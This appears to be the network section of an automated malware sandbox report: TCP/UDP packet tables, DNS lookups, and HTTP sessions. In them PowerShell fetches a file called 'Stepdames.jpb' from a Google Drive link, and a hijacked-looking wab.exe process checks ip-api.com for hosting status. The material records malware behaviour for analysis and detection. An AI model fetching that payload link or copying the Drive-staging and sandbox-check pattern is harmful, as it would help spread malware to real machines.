Jul 3, 2024 08:55:08.067136049 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.067394972 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.068394899 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.068574905 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.068582058 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.068841934 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.069756031 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.069964886 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.069973946 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.070204020 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.071110010 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.071372032 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.071382046 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.071610928 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.072359085 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.072633028 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.072639942 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.072850943 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.073786974 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.074017048 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.074026108 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.074235916 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.074894905 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.075100899 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.075110912 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.075376034 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.076276064 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.076457024 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.076464891 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.076724052 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.077455044 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.077635050 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.077642918 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.077902079 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.078906059 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.079135895 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.079144955 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.079354048 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.080077887 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.080259085 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.080267906 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.080524921 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.081317902 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.081527948 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.081929922 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.082159042 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.082165956 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.082499027 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.083162069 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.083343029 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.083349943 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.083610058 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.084484100 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.084716082 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.084724903 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.085056067 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.085669041 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.085875988 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.085885048 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.086117029 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.086818933 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.087048054 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.087054968 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.087266922 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.088012934 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.088243008 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.088253021 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.088494062 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.089260101 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.089476109 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.089485884 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.089746952 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.090426922 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.090640068 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.090650082 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.090914011 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.091598988 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.091813087 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.091823101 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.092087030 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.092783928 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.092989922 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.092998981 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.093259096 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.093903065 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.094084024 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.094091892 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.094355106 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.094995022 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.095175982 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.095182896 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.095442057 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.096209049 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.096416950 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.096424103 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.096657038 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.097265005 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.097515106 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.097522020 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.097733974 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.098423958 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.098637104 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.098979950 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.099234104 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.099241018 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.099575043 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.100070000 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.100250959 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.100258112 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.100517988 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.101169109 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.101351023 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.101357937 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.101617098 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.102256060 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.102437019 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.102447033 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.102704048 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.103353977 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.103534937 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.103542089 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.103801966 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.104487896 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.104670048 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.104679108 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.104937077 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.105484962 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.105714083 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.105750084 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.105982065 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.106612921 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.106794119 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.106803894 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.107059956 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.107592106 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.107773066 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.107780933 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.108040094 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.108648062 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.108858109 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.108884096 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.109144926 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.109703064 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.109915018 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.109925032 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.110184908 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.110697031 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.110899925 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.110908985 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.111166000 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.111733913 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.111915112 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.111922979 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.112183094 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.112720966 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.112951040 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.112957954 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.113169909 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.113816023 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.113996029 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.114003897 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.114263058 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.114777088 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.115005970 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.115012884 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.115223885 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.115828991 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.116009951 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.116018057 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.116306067 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.116807938 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.117075920 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.117085934 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.117296934 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.117856026 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.118036985 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.118046045 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.118304014 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.118851900 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.119033098 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.119043112 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.119299889 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.119776011 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.120018005 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.120026112 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.120274067 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.120707989 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.120888948 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.120898008 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.121155977 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.121741056 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.121929884 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.121938944 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.122189999 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.122654915 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.122836113 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.123141050 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.123370886 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.123378992 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.123740911 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.124108076 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.124310017 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.124317884 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.124577045 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.125027895 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.125209093 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.125217915 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.125475883 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.125963926 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.126193047 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.126199961 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.126411915 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.126919031 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.127127886 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.127135038 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.127367020 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.127793074 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.127973080 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.127979994 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.128241062 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.128809929 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.128989935 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.128998041 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.129256964 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.129745007 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.129925966 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.129934072 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.130224943 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.130657911 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.130862951 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.130872011 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.131105900 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.131513119 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.131675005 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:08.131692886 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.131962061 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.131962061 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.436341047 CEST	49952	443	192.168.11.30	172.217.2.33
Jul 3, 2024 08:55:08.436376095 CEST	443	49952	172.217.2.33	192.168.11.30
Jul 3, 2024 08:55:09.839587927 CEST	49953	80	192.168.11.30	208.95.112.1
Jul 3, 2024 08:55:09.985367060 CEST	80	49953	208.95.112.1	192.168.11.30
Jul 3, 2024 08:55:09.985554934 CEST	49953	80	192.168.11.30	208.95.112.1
Jul 3, 2024 08:55:09.985795021 CEST	49953	80	192.168.11.30	208.95.112.1
Jul 3, 2024 08:55:10.119771957 CEST	80	49953	208.95.112.1	192.168.11.30
Jul 3, 2024 08:55:10.170360088 CEST	49953	80	192.168.11.30	208.95.112.1
Jul 3, 2024 08:56:25.084290028 CEST	80	49953	208.95.112.1	192.168.11.30
Jul 3, 2024 08:56:25.084532976 CEST	49953	80	192.168.11.30	208.95.112.1
Jul 3, 2024 08:56:50.132463932 CEST	49953	80	192.168.11.30	208.95.112.1
Jul 3, 2024 08:56:50.265544891 CEST	80	49953	208.95.112.1	192.168.11.30

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 08:54:41.221898079 CEST	60969	53	192.168.11.30	1.1.1.1
Jul 3, 2024 08:54:41.343121052 CEST	53	60969	1.1.1.1	192.168.11.30
Jul 3, 2024 08:54:41.886214018 CEST	53081	53	192.168.11.30	1.1.1.1
Jul 3, 2024 08:54:42.010811090 CEST	53	53081	1.1.1.1	192.168.11.30
Jul 3, 2024 08:55:09.702941895 CEST	58869	53	192.168.11.30	1.1.1.1
Jul 3, 2024 08:55:09.835117102 CEST	53	58869	1.1.1.1	192.168.11.30

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 08:54:41.221898079 CEST	192.168.11.30	1.1.1.1	0x6aa7	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:54:41.886214018 CEST	192.168.11.30	1.1.1.1	0xeb9	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:55:09.702941895 CEST	192.168.11.30	1.1.1.1	0xef57	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 08:54:41.343121052 CEST	1.1.1.1	192.168.11.30	0x6aa7	No error (0)	drive.google.com	142.250.191.110	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:54:42.010811090 CEST	1.1.1.1	192.168.11.30	0xeb9	No error (0)	drive.usercontent.google.com	172.217.2.33	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:55:09.835117102 CEST	1.1.1.1	192.168.11.30	0xef57	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.30	49953	208.95.112.1	80	9032	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 08:55:09.985795021 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jul 3, 2024 08:55:10.119771957 CEST	174	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 06:55:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.30	49949	142.250.191.110	443	2680	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 06:54:41 UTC	215	OUT	GET /uc?export=download&id=1TuX3pGVQOuYuN0PVf0S1vuOovPZc76t5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Connection: Keep-Alive
2024-07-03 06:54:41 UTC	1598	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 03 Jul 2024 06:54:41 GMT Location: https://drive.usercontent.google.com/download?id=1TuX3pGVQOuYuN0PVf0S1vuOovPZc76t5&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-PiaayuAQ4oaER-6ZX7Mx2w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.30	49950	172.217.2.33	443	2680	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 06:54:42 UTC	233	OUT	GET /download?id=1TuX3pGVQOuYuN0PVf0S1vuOovPZc76t5&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.usercontent.google.com Connection: Keep-Alive
2024-07-03 06:54:43 UTC	4818	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="Stepdames.jpb" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 428132 Last-Modified: Wed, 03 Jul 2024 00:03:50 GMT X-GUploader-UploadID: ACJd0Nqa0Eu685FA6WIUNeQTo9NGdRCSrAVUByjdgcNySxKOYUnxVvCNXrBlC9U9DYIhucSNsFo Date: Wed, 03 Jul 2024 06:54:43 GMT Expires: Wed, 03 Jul 2024 06:54:43 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=kA3jPQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: 